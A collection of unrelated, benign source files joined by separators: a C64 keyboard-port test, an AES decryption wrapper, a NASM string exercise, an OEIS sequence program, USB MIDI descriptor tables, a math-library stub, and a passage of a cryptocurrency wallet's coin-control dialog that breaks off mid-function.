l3a
sta $d800+(40*15),x
inx
cpx #40
bne l3a
jmp loop
;-----------------------------------------------------------------------------
result:
!byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0
resultspc:
!byte $00,$ef,$7f,$00,$ff,$ff,$00,$00,$00,$ff,$7f,$00,$ff,$ff
resultshiftlock:
!byte $00,$7f,$fd,$00,$ff,$ff,$00,$00,$00,$7f,$fd,$00,$ff,$ff
resultleftshift:
!byte $00,$7f,$fd,$00,$ff,$ff,$00,$00,$00,$ff,$fd,$00,$ff,$ff
hextab:
!scr "0123456789abcdef"
screen:
;0123456789012345678901234567890123456789
!scr "cia keyboard ports test " ;0
!scr " "
!scr " pa pb pa pb "
!scr "pa->pb -> "
!scr "pb->pa <- "
!scr "both in "
!scr "both out "
!scr "a lo b hi -> "
!scr "b hi a lo <- "
!scr " "
!scr " "
!scr "press space "
!scr " "
!scr "press shift lock "
!scr " "
!scr "press left shift "
!scr " "
!scr " "
!scr " "
!scr " "
!scr " "
!scr " "
!scr " "
!scr "for details look at readme.txt "
!scr " "
|
;;
;; Copyright (c) 2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/aesni_emu.inc"
%ifndef AES_CBC_DEC_128
%define AES_CBC_DEC_128 aes_cbcs_1_9_dec_128_sse_no_aesni
%define CBCS
%endif
%include "sse/aes128_cbc_dec_by4_sse.asm"
|
;Write a program to remove all the repeated characters of each word in a given string
;Sample Test Case:
;INPUT: programming loop functions
;OUTPUT: progamin lop functions
section .data
msg1 : db 'Enter string : '
l1 : equ $-msg1
msg2 : db 'Modified string is : '
l2 : equ $-msg2
newline : db 10
section .bss
string : resb 100
char : resb 1
word_addr : resd 1
section .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, msg1
mov edx, l1
int 80h
read_string:
mov ebx, string
read_loop:
push ebx
mov eax, 3
mov ebx, 0
mov ecx, char
mov edx, 1
int 80h
pop ebx
cmp byte[char], 10
je end_read
mov al, byte[char]
mov byte[ebx], al
inc ebx
jmp read_loop
end_read:
mov byte[ebx], 0
;print message 2
mov eax, 4
mov ebx, 1
mov ecx, msg2
mov edx, l2
int 80h
mov ebx, string
dec ebx
next_char:
inc ebx
cmp byte[ebx], 32
je print_char
cmp byte[ebx], 0
je exit
mov al, byte[ebx]
mov ecx, ebx
dec ecx
check_loop:
cmp byte[ecx], 32
je print_char
cmp ecx, string
jb print_char
cmp al, byte[ecx]
je next_char
dec ecx
jmp check_loop
print_char:
mov al, byte[ebx]
mov byte[char], al
push ebx
mov eax, 4
mov ebx, 1
mov ecx, char
mov edx, 1
int 80h
pop ebx
jmp next_char
exit:
mov eax, 4
mov ebx, 1
mov ecx, newline
mov edx, 1
int 80h
mov eax, 1
mov ebx, 0
int 80h
|
; A141478: Binomial(n+2,3)*4^3.
; 64,256,640,1280,2240,3584,5376,7680,10560,14080,18304,23296,29120,35840,43520,52224,62016,72960,85120,98560,113344,129536,147200,166400,187200,209664,233856,259840,287680,317440,349184,382976,418880,456960,497280,539904,584896,632320,682240,734720,789824,847616,908160,971520,1037760,1106944,1179136,1254400,1332800,1414400,1499264,1587456,1679040,1774080,1872640,1974784,2080576,2190080,2303360,2420480,2541504,2666496,2795520,2928640,3065920,3207424,3353216,3503360,3657920,3816960,3980544,4148736,4321600,4499200,4681600,4868864,5061056,5258240,5460480,5667840,5880384,6098176,6321280,6549760,6783680,7023104,7268096,7518720,7775040,8037120,8305024,8578816,8858560,9144320,9436160,9734144,10038336,10348800,10665600,10988800,11318464,11654656,11997440,12346880,12703040,13065984,13435776,13812480,14196160,14586880,14984704,15389696,15801920,16221440,16648320,17082624,17524416,17973760,18430720,18895360,19367744,19847936,20336000,20832000,21336000,21848064,22368256,22896640,23433280,23978240,24531584,25093376,25663680,26242560,26830080,27426304,28031296,28645120,29267840,29899520,30540224,31190016,31848960,32517120,33194560,33881344,34577536,35283200,35998400,36723200,37457664,38201856,38955840,39719680,40493440,41277184,42070976,42874880,43688960,44513280,45347904,46192896,47048320,47914240,48790720,49677824,50575616,51484160,52403520,53333760,54274944,55227136,56190400,57164800,58150400,59147264,60155456,61175040,62206080,63248640,64302784,65368576,66446080,67535360,68636480,69749504,70874496,72011520,73160640,74321920,75495424,76681216,77879360,79089920,80312960,81548544,82796736,84057600,85331200,86617600,87916864,89229056,90554240,91892480,93243840,94608384,95986176,97377280,98781760,100199680,101631104,103076096,104534720,106007040,107493120,108993024,110506816,112034560,113576320,115132160,116702144,118286336,119884800,121497600,123124800,124766464,126422656,128093440,129778880,131479040,133193984,134923776,136668480,138428160,140202880,141992704,143797696,145617920,147453440,149304320,151170624,153052416,154949760,156862720,158791360,160735744,162695936,164672000,166664000,168672000
add $0,3
bin $0,3
mov $1,$0
mul $1,64
|
; USB MIDI DESCRIPTORS
#include "usb_defs.h"
; ==========================================================================
; Copyright (C) BITSTREAM 3X - Wave Idea 2004
; ==========================================================================
MIDI_IN_EMBEDDED_JACK_ID equ 1;
MIDI_OUT1_EMBEDDED_JACK_ID equ 2;
MIDI_OUT2_EMBEDDED_JACK_ID equ 3;
MIDI_IN_EXTERNAL_JACK_ID equ 4;
MIDI_OUT1_EXTERNAL_JACK_ID equ 5;
MIDI_OUT2_EXTERNAL_JACK_ID equ 6;
; element pins IDs
OUTPIN_USB_MIDI equ 1
OUTPIN_SER_MIDI equ 2
DSCR_DEVICE equ 1 ;; Descriptor type: Device
DSCR_CONFIG equ 2 ;; Descriptor type: Configuration
DSCR_STRING equ 3 ;; Descriptor type: String
DSCR_INTRFC equ 4 ;; Descriptor type: Interface
DSCR_ENDPNT equ 5 ;; Descriptor type: Endpoint
ET_CONTROL equ 0 ;; Endpoint type: Control
ET_ISO equ 1 ;; Endpoint type: Isochronous
ET_BULK equ 2 ;; Endpoint type: Bulk
ET_INT equ 3 ;; Endpoint type: Interrupt
public DeviceDscr, ConfigDscr, StringDscr, UserDscr
DSCR SEGMENT CODE
;;-----------------------------------------------------------------------------
;; Global Variables
;;-----------------------------------------------------------------------------
;; Note: This segment must be located in on-part memory.
rseg DSCR ;; locate the descriptor table anywhere below 8K
DeviceDscr: db deviceDscrEnd-DeviceDscr ;; Descriptor length
db DSCR_DEVICE ;; Decriptor type
db 0x10, 0x01 ;; Specification Version (BCD)
db 0x00 ;; Device class
db 0x00 ;; Device sub-class
db 0x00 ;; Device sub-sub-class
db 64 ;; Maximum packet size
db 0xE1, 0x0F ;; Vendor ID
db 0x01, 0x00 ;; Product ID
db 0x00, 0x00 ;; Product version ID
db 1 ;; Manufacturer string index
db 2 ;; Product string index
db 0 ;; Serial number string index
db 1 ;; Number of configurations
deviceDscrEnd:
ConfigDscr: db ConfigDscrEnd-ConfigDscr ;; Descriptor length
db DSCR_CONFIG ;; Descriptor type
db LOW(StringDscr-ConfigDscr) ;; Config + End Points length (LSB)
db HIGH(StringDscr-ConfigDscr) ;; Config + End Points length (MSB)
db 2 ;; Number of interfaces
db 1 ;; configuration value, Interface number
db 3 ;; Configuration string
db 11000000b ;; Attributes (b7 - buspwr, b6 - selfpwr, b5 - rwu)
;JDS power requirements set to 500 mA
db 0xFA ;; Power requirement (100ma div 2)
ConfigDscrEnd:
; B3.1
;; removed otherwise win Me crashes
StandardAcIntrfcDscr:
db StandardAcIntrfcDscrEnd-StandardAcIntrfcDscr ;; Descriptor length
db DSCR_INTRFC ;; Descriptor type
db 0 ;; Zero-based index of this interface
db 0 ;; index of this setting
db 0 ;; Number of end points
db 1 ;; Interface class (AUDIO)
db 1 ;; Interface sub class (AC:audio control)
db 0 ;; Interface sub sub class
db 0 ;; Interface descriptor string index
StandardAcIntrfcDscrEnd:
; B3.2
ClassSpecificAcIntrfcDscr:
db ClassSpecificAcIntrfcDscrEnd-ClassSpecificAcIntrfcDscr ;; Descriptor length
db 0x24 ;; Descriptor type
db 1 ;; descriptor sub-type
db 0x00, 0x01 ;; revision of this class specification
db 0x09, 0x00 ;; Total size of class-specific descriptors
db 1 ;; number of streaming interface
db 1 ;; midi streaming interf 1 belongs to this audiocontrol interf
ClassSpecificAcIntrfcDscrEnd:
;B4.1
MidiStreamIntrfcDscr:
db MidiStreamIntrfcDscrEnd-MidiStreamIntrfcDscr ;; Descriptor length
db DSCR_INTRFC ;; Descriptor type
db 1 ;; Zero-based index of this interface
db 0 ;; index of this Alternate setting
db 2 ;; Number of end points
db 1 ;; Interface class (AUDIO)
db 3 ;; Interface sub class (MIDISTREAMING)
db 0 ;; Interface sub sub class
db 0 // V1.9 2 ;; Interface descriptor string index
MidiStreamIntrfcDscrEnd:
;B4.2
MSCIntrfcDscr:
db MSCIntrfcDscrEnd-MSCIntrfcDscr ;; Descriptor length
db 0x24 ;; Descriptor type
db 1 ;; Zero-based index of this interface
db 0x00, 0x01 ;; revision of this class specification
db LOW(MSCClassSize);; Total size of class-specific descriptors
db HIGH(MSCClassSize)
MSCIntrfcDscrEnd:
//////////////////////////////////////////////////////////////////
////////////////////////// EMBEDEED //////////////////////////////
//////////////////////////////////////////////////////////////////
;B4.3 //////////////////// MIDI IN 1 /////////////////////////////
MIDIInEmDscr:
db MIDIInEmDscrEnd-MIDIInEmDscr ;; Descriptor length
db 0x24 ;; Descriptor type (CS_INTERFACE)
db 0x02 ;; MIDI_IN_JACK subtype
db 0x01 ;; EMBEDDED
db MIDI_IN_EMBEDDED_JACK_ID ;; ID of this jack
db 0 ;; unused
MIDIInEmDscrEnd:
;B4.4 //////////////////// MIDI OUT 1 /////////////////////////////
MIDIOutEmDscr:
db MIDIOutEmDscrEnd-MIDIOutEmDscr ;; Descriptor length
db 0x24 ;; Descriptor type (CS_INTERFACE)
db 0x03 ;; MIDI_OUT_JACK subtype
db 0x01 ;; EMBEDDED
db MIDI_OUT1_EMBEDDED_JACK_ID ;; ID of this jack
db 0x01 ;; number of input pins of this jack
db MIDI_IN_EXTERNAL_JACK_ID ;; ID of the entity to which this pin is connected
db 0x01 ;; Output Pin number of the entity to which this input pin is connected
db 0 ;; unused
MIDIOutEmDscrEnd:
;B4.4 //////////////////// MIDI OUT 2 /////////////////////////////
MIDIOutEm2Dscr:
db MIDIOutEm2DscrEnd-MIDIOutEm2Dscr ;; Descriptor length
db 0x24 ;; Descriptor type (CS_INTERFACE)
db 0x03 ;; MIDI_OUT_JACK subtype
db 0x01 ;; EMBEDDED
db MIDI_OUT2_EMBEDDED_JACK_ID ;; ID of this jack
db 0x01 ;; number of input pins of this jack
db MIDI_IN_EXTERNAL_JACK_ID ;; ID of the entity to which this pin is connected
db 0x01 ;; Output Pin number of the entity to which this input pin is connected
db 0 ;; unused
MIDIOutEm2DscrEnd:
//////////////////////////////////////////////////////////////////
////////////////////////// EXTERNAL //////////////////////////////
//////////////////////////////////////////////////////////////////
;B4.3 //////////////////// MIDI IN 1 /////////////////////////////
MIDIInExDscr:
db MIDIInExDscrEnd-MIDIInExDscr ;; Descriptor length
db 0x24 ;; Descriptor type (CS_INTERFACE)
db 0x02 ;; MIDI_IN_JACK subtype
db 0x02 ;; EXTERNAL
db MIDI_IN_EXTERNAL_JACK_ID ;; ID of this jack
db 0 ;; unused
MIDIInExDscrEnd:
;B4.3 //////////////////// MIDI OUT 1 /////////////////////////////
MIDIOutExDscr:
db MIDIOutExDscrEnd-MIDIOutExDscr ;; Descriptor length
db 0x24 ;; Descriptor type (CS_INTERFACE)
db 0x03 ;; MIDI_OUT_JACK subtype
db 0x02 ;; EXTERNAL
db MIDI_OUT1_EXTERNAL_JACK_ID ;; ID of this jack
db 0x01 ;; number of input pins of this jack
db MIDI_IN_EMBEDDED_JACK_ID ;; ID of the entity to which this pin is connected
db 0x01 ;; Output Pin number of the entity to which this input pin is connected
db 0 ;; unused
MIDIOutExDscrEnd:
;B4.3 //////////////////// MIDI OUT 2 /////////////////////////////
MIDIOutEx2Dscr:
db MIDIOutEx2DscrEnd-MIDIOutEx2Dscr ;; Descriptor length
db 0x24 ;; Descriptor type (CS_INTERFACE)
db 0x03 ;; MIDI_OUT_JACK subtype
db 0x02 ;; EXTERNAL
db MIDI_OUT2_EXTERNAL_JACK_ID ;; ID of this jack
db 0x01 ;; number of input pins of this jack
db MIDI_IN_EMBEDDED_JACK_ID ;; ID of the entity to which this pin is connected
db 0x01 ;; Output Pin number of the entity to which this input pin is connected
db 0 ;; unused
MIDIOutEx2DscrEnd:
;B5.1
StdBulkOutEPDscr:
db StdBulkOutEPDscrEnd-StdBulkOutEPDscr ;; Descriptor length
db DSCR_ENDPNT ;; Descriptor type
db 0x02 ;; Out Endpoint 2
db 0x02 ;; Bulk, not shared
db USB_EP_BUFFER_LENGHT, 0x00 ;; 64 bytes per packet
db 0x00 ;; ignore for bulk
db 0x00 ;; unused
db 0x00 ;; unused
StdBulkOutEPDscrEnd:
;B5.2
MSBulkOutEPDscr:
db MSBulkOutEPDscrEnd-MSBulkOutEPDscr ;; Descriptor length
db 0x25 ;; Descriptor type (CS_ENDPOINT)
db 0x01 ;; MS_GENERAL
db 0x01 ;; number of embedded MIDI IN Jacks (???)
db MIDI_IN_EMBEDDED_JACK_ID ;; ID of embedded MIDI In Jack
MSBulkOutEPDscrEnd:
;B6.1
StdBulkInEPDscr:
db StdBulkInEPDscrEnd-StdBulkInEPDscr ;; Descriptor length
db DSCR_ENDPNT ;; Descriptor type
db USB_EP_IN_DESC ;; In Endpoint 1 or 2 (see usb_defs.h)
db 0x02 ;; Bulk, not shared
db USB_EP_BUFFER_LENGHT, 0x00 ;; 64 bytes per packet
db 0x00 ;; ignore for bulk
db 0x00 ;; unused
db 0x00 ;; unused
StdBulkInEPDscrEnd:
;B6.2
MSBulkInEPDscr:
db MSBulkInEPDscrEnd-MSBulkInEPDscr ;; Descriptor length
db 0x25 ;; Descriptor type (CS_ENDPOINT)
db 0x01 ;; MS_GENERAL
db 0x02 ;; number of embedded MIDI Out Jacks
db MIDI_OUT1_EMBEDDED_JACK_ID ;; ID of embedded MIDI Out Jack
db MIDI_OUT2_EMBEDDED_JACK_ID ;; ID of embedded MIDI Out Jack
MSBulkInEPDscrEnd:
MSCClassSize EQU $-MSCIntrfcDscr
;; string language descriptor (english)
StringDscr:
StringDscr0:
db StringDscr0End-StringDscr0 ;; String descriptor length
db DSCR_STRING
db 0x09,0x04
StringDscr0End:
StringDscr1:
db StringDscr1End-StringDscr1 ;; String descriptor length
db DSCR_STRING
db 'W',00
db 'a',00
db 'v',00
db 'e',00
db ' ',00
db 'I',00
db 'd',00
db 'e',00
db 'a',00
StringDscr1End:
StringDscr2:
db StringDscr2End-StringDscr2 ;; Descriptor length
db DSCR_STRING
db 'B',00
db 'i',00
db 't',00
db 's',00
db 't',00
db 'r',00
db 'e',00
db 'a',00
db 'm',00
db ' ',00
db '3',00
db 'X',00
StringDscr2End:
;; v1.1 StringDscr3:
;; v1.1 db StringDscr3End-StringDscr3 ;; Descriptor length
;; v1.1 db DSCR_STRING
;; v1.1 db 'W',00
;; v1.1 db '.',00
;; v1.1 db 'I',00
;; v1.1 db 'd',00
;; v1.1 db 'e',00
;; v1.1 db 'a',00;
;; v1.1 db ' ',00
;; v1.1 db 'B',00
;; v1.1 db 'S',00
;; v1.1 db '-',00
;; v1.1 db '3',00
;; v1.1 db 'X',00
;; v1.1 StringDscr3End:
UserDscr:
dw 0x0000
end
|
; double __FASTCALL__ acosh(double x)
SECTION code_fp_math48
PUBLIC cm48_sccz80_acosh
EXTERN am48_acosh
defc cm48_sccz80_acosh = am48_acosh
|
// Copyright (c) 2011-2018 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include <config/matcoin-config.h>
#endif
#include <qt/coincontroldialog.h>
#include <qt/forms/ui_coincontroldialog.h>
#include <qt/addresstablemodel.h>
#include <base58.h>
#include <qt/matcoinunits.h>
#include <qt/guiutil.h>
#include <qt/optionsmodel.h>
#include <qt/platformstyle.h>
#include <txmempool.h>
#include <qt/walletmodel.h>
#include <wallet/coincontrol.h>
#include <interfaces/node.h>
#include <key_io.h>
#include <policy/fees.h>
#include <policy/policy.h>
#include <validation.h> // For mempool
#include <wallet/fees.h>
#include <wallet/wallet.h>
#include <QApplication>
#include <QCheckBox>
#include <QCursor>
#include <QDialogButtonBox>
#include <QFlags>
#include <QIcon>
#include <QSettings>
#include <QTreeWidget>
QList<CAmount> CoinControlDialog::payAmounts;
bool CoinControlDialog::fSubtractFeeFromAmount = false;
bool CCoinControlWidgetItem::operator<(const QTreeWidgetItem &other) const {
int column = treeWidget()->sortColumn();
if (column == CoinControlDialog::COLUMN_AMOUNT || column == CoinControlDialog::COLUMN_DATE || column == CoinControlDialog::COLUMN_CONFIRMATIONS)
return data(column, Qt::UserRole).toLongLong() < other.data(column, Qt::UserRole).toLongLong();
return QTreeWidgetItem::operator<(other);
}
CoinControlDialog::CoinControlDialog(const PlatformStyle *_platformStyle, QWidget *parent) :
QDialog(parent),
ui(new Ui::CoinControlDialog),
model(nullptr),
platformStyle(_platformStyle)
{
ui->setupUi(this);
// context menu actions
QAction *copyAddressAction = new QAction(tr("Copy address"), this);
QAction *copyLabelAction = new QAction(tr("Copy label"), this);
QAction *copyAmountAction = new QAction(tr("Copy amount"), this);
copyTransactionHashAction = new QAction(tr("Copy transaction ID"), this); // we need to enable/disable this
lockAction = new QAction(tr("Lock unspent"), this); // we need to enable/disable this
unlockAction = new QAction(tr("Unlock unspent"), this); // we need to enable/disable this
// context menu
contextMenu = new QMenu(this);
contextMenu->addAction(copyAddressAction);
contextMenu->addAction(copyLabelAction);
contextMenu->addAction(copyAmountAction);
contextMenu->addAction(copyTransactionHashAction);
contextMenu->addSeparator();
contextMenu->addAction(lockAction);
contextMenu->addAction(unlockAction);
// context menu signals
connect(ui->treeWidget, &QWidget::customContextMenuRequested, this, &CoinControlDialog::showMenu);
connect(copyAddressAction, &QAction::triggered, this, &CoinControlDialog::copyAddress);
connect(copyLabelAction, &QAction::triggered, this, &CoinControlDialog::copyLabel);
connect(copyAmountAction, &QAction::triggered, this, &CoinControlDialog::copyAmount);
connect(copyTransactionHashAction, &QAction::triggered, this, &CoinControlDialog::copyTransactionHash);
connect(lockAction, &QAction::triggered, this, &CoinControlDialog::lockCoin);
connect(unlockAction, &QAction::triggered, this, &CoinControlDialog::unlockCoin);
// clipboard actions
QAction *clipboardQuantityAction = new QAction(tr("Copy quantity"), this);
QAction *clipboardAmountAction = new QAction(tr("Copy amount"), this);
QAction *clipboardFeeAction = new QAction(tr("Copy fee"), this);
QAction *clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this);
QAction *clipboardBytesAction = new QAction(tr("Copy bytes"), this);
QAction *clipboardLowOutputAction = new QAction(tr("Copy dust"), this);
QAction *clipboardChangeAction = new QAction(tr("Copy change"), this);
connect(clipboardQuantityAction, &QAction::triggered, this, &CoinControlDialog::clipboardQuantity);
connect(clipboardAmountAction, &QAction::triggered, this, &CoinControlDialog::clipboardAmount);
connect(clipboardFeeAction, &QAction::triggered, this, &CoinControlDialog::clipboardFee);
connect(clipboardAfterFeeAction, &QAction::triggered, this, &CoinControlDialog::clipboardAfterFee);
connect(clipboardBytesAction, &QAction::triggered, this, &CoinControlDialog::clipboardBytes);
connect(clipboardLowOutputAction, &QAction::triggered, this, &CoinControlDialog::clipboardLowOutput);
connect(clipboardChangeAction, &QAction::triggered, this, &CoinControlDialog::clipboardChange);
ui->labelCoinControlQuantity->addAction(clipboardQuantityAction);
ui->labelCoinControlAmount->addAction(clipboardAmountAction);
ui->labelCoinControlFee->addAction(clipboardFeeAction);
ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction);
ui->labelCoinControlBytes->addAction(clipboardBytesAction);
ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction);
ui->labelCoinControlChange->addAction(clipboardChangeAction);
// toggle tree/list mode
connect(ui->radioTreeMode, &QRadioButton::toggled, this, &CoinControlDialog::radioTreeMode);
connect(ui->radioListMode, &QRadioButton::toggled, this, &CoinControlDialog::radioListMode);
// click on checkbox
connect(ui->treeWidget, &QTreeWidget::itemChanged, this, &CoinControlDialog::viewItemChanged);
// click on header
ui->treeWidget->header()->setSectionsClickable(true);
connect(ui->treeWidget->header(), &QHeaderView::sectionClicked, this, &CoinControlDialog::headerSectionClicked);
// ok button
connect(ui->buttonBox, &QDialogButtonBox::clicked, this, &CoinControlDialog::buttonBoxClicked);
// (un)select all
connect(ui->pushButtonSelectAll, &QPushButton::clicked, this, &CoinControlDialog::buttonSelectAllClicked);
ui->treeWidget->setColumnWidth(COLUMN_CHECKBOX, 84);
ui->treeWidget->setColumnWidth(COLUMN_AMOUNT, 110);
ui->treeWidget->setColumnWidth(COLUMN_LABEL, 190);
ui->treeWidget->setColumnWidth(COLUMN_ADDRESS, 320);
ui->treeWidget->setColumnWidth(COLUMN_DATE, 130);
ui->treeWidget->setColumnWidth(COLUMN_CONFIRMATIONS, 110);
// default view is sorted by amount desc
sortView(COLUMN_AMOUNT, Qt::DescendingOrder);
// restore list mode and sortorder as a convenience feature
QSettings settings;
if (settings.contains("nCoinControlMode") && !settings.value("nCoinControlMode").toBool())
ui->radioTreeMode->click();
if (settings.contains("nCoinControlSortColumn") && settings.contains("nCoinControlSortOrder"))
sortView(settings.value("nCoinControlSortColumn").toInt(), (static_cast<Qt::SortOrder>(settings.value("nCoinControlSortOrder").toInt())));
}
CoinControlDialog::~CoinControlDialog()
{
QSettings settings;
settings.setValue("nCoinControlMode", ui->radioListMode->isChecked());
settings.setValue("nCoinControlSortColumn", sortColumn);
settings.setValue("nCoinControlSortOrder", (int)sortOrder);
delete ui;
}
void CoinControlDialog::setModel(WalletModel *_model)
{
this->model = _model;
if(_model && _model->getOptionsModel() && _model->getAddressTableModel())
{
updateView();
updateLabelLocked();
CoinControlDialog::updateLabels(_model, this);
}
}
// ok button
void CoinControlDialog::buttonBoxClicked(QAbstractButton* button)
{
if (ui->buttonBox->buttonRole(button) == QDialogButtonBox::AcceptRole)
done(QDialog::Accepted); // closes the dialog
}
// (un)select all
void CoinControlDialog::buttonSelectAllClicked()
{
Qt::CheckState state = Qt::Checked;
for (int i = 0; i < ui->treeWidget->topLevelItemCount(); i++)
{
if (ui->treeWidget->topLevelItem(i)->checkState(COLUMN_CHECKBOX) != Qt::Unchecked)
{
state = Qt::Unchecked;
break;
}
}
ui->treeWidget->setEnabled(false);
for (int i = 0; i < ui->treeWidget->topLevelItemCount(); i++)
if (ui->treeWidget->topLevelItem(i)->checkState(COLUMN_CHECKBOX) != state)
ui->treeWidget->topLevelItem(i)->setCheckState(COLUMN_CHECKBOX, state);
ui->treeWidget->setEnabled(true);
if (state == Qt::Unchecked)
coinControl()->UnSelectAll(); // just to be sure
CoinControlDialog::updateLabels(model, this);
}
// context menu
void CoinControlDialog::showMenu(const QPoint &point)
{
QTreeWidgetItem *item = ui->treeWidget->itemAt(point);
if(item)
{
contextMenuItem = item;
// disable some items (like Copy Transaction ID, lock, unlock) for tree roots in context menu
if (item->data(COLUMN_ADDRESS, TxHashRole).toString().length() == 64) // transaction hash is 64 characters (this means it is a child node, so it is not a parent node in tree mode)
{
copyTransactionHashAction->setEnabled(true);
if (model->wallet().isLockedCoin(COutPoint(uint256S(item->data(COLUMN_ADDRESS, TxHashRole).toString().toStdString()), item->data(COLUMN_ADDRESS, VOutRole).toUInt())))
{
lockAction->setEnabled(false);
unlockAction->setEnabled(true);
}
else
{
lockAction->setEnabled(true);
unlockAction->setEnabled(false);
}
}
else // this means click on parent node in tree mode -> disable all
{
copyTransactionHashAction->setEnabled(false);
lockAction->setEnabled(false);
unlockAction->setEnabled(false);
}
// show context menu
contextMenu->exec(QCursor::pos());
}
}
// context menu action: copy amount
void CoinControlDialog::copyAmount()
{
GUIUtil::setClipboard(BitcoinUnits::removeSpaces(contextMenuItem->text(COLUMN_AMOUNT)));
}
// context menu action: copy label
void CoinControlDialog::copyLabel()
{
if (ui->radioTreeMode->isChecked() && contextMenuItem->text(COLUMN_LABEL).length() == 0 && contextMenuItem->parent())
GUIUtil::setClipboard(contextMenuItem->parent()->text(COLUMN_LABEL));
else
GUIUtil::setClipboard(contextMenuItem->text(COLUMN_LABEL));
}
// context menu action: copy address
void CoinControlDialog::copyAddress()
{
if (ui->radioTreeMode->isChecked() && contextMenuItem->text(COLUMN_ADDRESS).length() == 0 && contextMenuItem->parent())
GUIUtil::setClipboard(contextMenuItem->parent()->text(COLUMN_ADDRESS));
else
GUIUtil::setClipboard(contextMenuItem->text(COLUMN_ADDRESS));
}
// context menu action: copy transaction id
void CoinControlDialog::copyTransactionHash()
{
GUIUtil::setClipboard(contextMenuItem->data(COLUMN_ADDRESS, TxHashRole).toString());
}
// context menu action: lock coin
void CoinControlDialog::lockCoin()
{
if (contextMenuItem->checkState(COLUMN_CHECKBOX) == Qt::Checked)
contextMenuItem->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
COutPoint outpt(uint256S(contextMenuItem->data(COLUMN_ADDRESS, TxHashRole).toString().toStdString()), contextMenuItem->data(COLUMN_ADDRESS, VOutRole).toUInt());
model->wallet().lockCoin(outpt);
contextMenuItem->setDisabled(true);
contextMenuItem->setIcon(COLUMN_CHECKBOX, platformStyle->SingleColorIcon(":/icons/lock_closed"));
updateLabelLocked();
}
// context menu action: unlock coin
void CoinControlDialog::unlockCoin()
{
COutPoint outpt(uint256S(contextMenuItem->data(COLUMN_ADDRESS, TxHashRole).toString().toStdString()), contextMenuItem->data(COLUMN_ADDRESS, VOutRole).toUInt());
model->wallet().unlockCoin(outpt);
contextMenuItem->setDisabled(false);
contextMenuItem->setIcon(COLUMN_CHECKBOX, QIcon());
updateLabelLocked();
}
// copy label "Quantity" to clipboard
void CoinControlDialog::clipboardQuantity()
{
GUIUtil::setClipboard(ui->labelCoinControlQuantity->text());
}
// copy label "Amount" to clipboard
void CoinControlDialog::clipboardAmount()
{
GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" ")));
}
// copy label "Fee" to clipboard
void CoinControlDialog::clipboardFee()
{
GUIUtil::setClipboard(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// copy label "After fee" to clipboard
void CoinControlDialog::clipboardAfterFee()
{
GUIUtil::setClipboard(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// copy label "Bytes" to clipboard
void CoinControlDialog::clipboardBytes()
{
GUIUtil::setClipboard(ui->labelCoinControlBytes->text().replace(ASYMP_UTF8, ""));
}
// copy label "Dust" to clipboard
void CoinControlDialog::clipboardLowOutput()
{
GUIUtil::setClipboard(ui->labelCoinControlLowOutput->text());
}
// copy label "Change" to clipboard
void CoinControlDialog::clipboardChange()
{
GUIUtil::setClipboard(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// treeview: sort
void CoinControlDialog::sortView(int column, Qt::SortOrder order)
{
sortColumn = column;
sortOrder = order;
ui->treeWidget->sortItems(column, order);
ui->treeWidget->header()->setSortIndicator(sortColumn, sortOrder);
}
// treeview: clicked on header
void CoinControlDialog::headerSectionClicked(int logicalIndex)
{
if (logicalIndex == COLUMN_CHECKBOX) // click on most left column -> do nothing
{
ui->treeWidget->header()->setSortIndicator(sortColumn, sortOrder);
}
else
{
if (sortColumn == logicalIndex)
sortOrder = ((sortOrder == Qt::AscendingOrder) ? Qt::DescendingOrder : Qt::AscendingOrder);
else
{
sortColumn = logicalIndex;
sortOrder = ((sortColumn == COLUMN_LABEL || sortColumn == COLUMN_ADDRESS) ? Qt::AscendingOrder : Qt::DescendingOrder); // if label or address then default => asc, else default => desc
}
sortView(sortColumn, sortOrder);
}
}
// toggle tree mode
void CoinControlDialog::radioTreeMode(bool checked)
{
if (checked && model)
updateView();
}
// toggle list mode
void CoinControlDialog::radioListMode(bool checked)
{
if (checked && model)
updateView();
}
// checkbox clicked by user
void CoinControlDialog::viewItemChanged(QTreeWidgetItem* item, int column)
{
